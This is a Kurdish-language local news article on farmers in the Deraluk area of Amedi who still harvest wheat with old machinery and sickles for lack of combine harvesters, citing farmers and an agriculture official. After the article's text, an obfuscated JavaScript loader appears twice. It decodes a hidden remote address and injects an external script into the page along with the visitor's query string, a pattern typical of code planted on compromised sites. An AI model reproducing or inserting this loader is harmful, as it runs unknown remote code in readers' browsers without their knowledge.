ل ناوچەداریا دێرەلۆك هێشتا ب ئامیرێن كەڤن كارێن چاندنێ دهێتە كرن
ئامێدیێ، مەحمود نهێلی
ژ بەر نەبوونا ئامیرێن نوو و یێن پێشكەفتی هەتا نوكە جوتیارێن دەڤەرا ئامێدیێ ب ماكینەیێن كەڤن و یێن سالێن هەشتێیان گێرا دكەن، ئەڤ یەكە ژی گەلەك جاران بوویە ئەگەرێ مەترسیێ بۆ سەر جوتیاران و هەروەسا كێمیا رێژەیا بەرهەمی.
وەلید تەوفیق ئێك جوتیارێن دەڤەرا دێرەلۆكێ یە دبێژیت: (بارا پترێ ژ سالان ئەم گەنمی جهی دكەین و ئەم گەلەك پێ ڤە د وەستین ژ بەر كو ئەڤ ئامیرێن نوكە ئەم ل سەر كار دكەین گەلەك د كەڤنن و مە چ ئامیرێن نوو نینن ئەم كار پێ بكەین وەكی دەراسا).
ناڤهاتی داخاز كر، بۆ ڤێ دەڤەرێ ژی ئامیرێن نوو یێن چاندنێ بهێنە دابینكرن دا كو ئەو ژی بشێن چاندنا خوە ب سەر كەفتیانە ئەنجام بدەن و خویاكر، هندەك سالان ئەو نەشێن گەنمی بكەن ژ بەر نەبوونا ئامیرێن پێشكەفتی.
هەروەسا جوتیارەكێ دی ب ناڤێ بژار سدقی دیار كر، د سالێن بەرێ دا وی هەموو سالان گەنم دكر، ژ بەر كو برسایەتی هەبوو و ئەو یێن نەچار بوون گەنمی بكەن، لێ نها ئەو نەشێن وێ زەحمەتێ ببەن یا هنگی وان دبر و گت: (د ان سالێن بوری دا وان گەلەك جاران ب ئاژەلان و ب تەڤڕی گەنم د چاند و هەروەسا ب پاتوسان گێرە دكرن، راستە نها ب تەراكتوران ئەردی دكێلن و ئامیرەكی د دروین، بەلێ هەر نوكە ژی ب داسكان هندەك جوتیار ڤی گەنمی د دروین و هەروەسا ب پاتوسان گێرا دكەن).
ناڤهاتی خویاكر، ئەگەر نها ژی دەراسە هەبانە ئەو دا گەنمی چینن، بەلێ ژ بەر نەبوونا ڤان ئامیران ئەو نەشێن كارێ چاندنێ بكەن.
ئەندازیار عیسمەت ئیبراهیم بەرپرسێ هۆبا چاندنا دێرەلۆك بۆ رۆژناما ئەڤرۆ دیاركر، راستە ل دەڤەرا مە دەراسە نینن، ژ بەر كو دەڤەرا مە نە یا ب كێر هاتیە بۆ دەراسێ و گۆت: (ژبەركو دەڤەرا مە رووبەركێ گەلەك بەرفرە یێ دەشت نینە كو جوتیار بشێن دەراسەكێ تایبەت بینیت بۆ خوە و كارێ خوە یێ درینێ پێ ئەنجام بدەت و هەروەسا جوتیار ل گەل ئێك رێككەفتنان ژی ناكەن هەموو پێكڤە دەراسەیەكێ بینن و دروینێن خوە پێ بكەن).
ناڤهاتی دیاركر، زێدەباری وێ یەكێ ژی چ جهێن وەسا نینن دەراسە بشێن لێ كار بكەت، ژبەركو دەراسە یا بەرفرەهە و جهێ وێ ل سەر ڤان جادەیان ناكەن هەروەسا ئەردێ دەڤەرێ ژی هەموو یێ تژی بەرە و قرشە و نەیێ دەشت و راستە و دەراسە نەشێن ب دروستی كارێ خوە بكەت ژبەر وێ یەكێ ژی تا نها ل دەڤەرا مە دەراسە نەشیایە كار لێ بكەت و تەكەز كر، ئەو دێ هریكار ب ل گەل جوتیاران بۆ پێشخستنا كەرتێ چاندنێ ل دەڤەرێ د هەموو بوارەكێ كو جوتیار ژی پێدڤی پێ هەبیت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
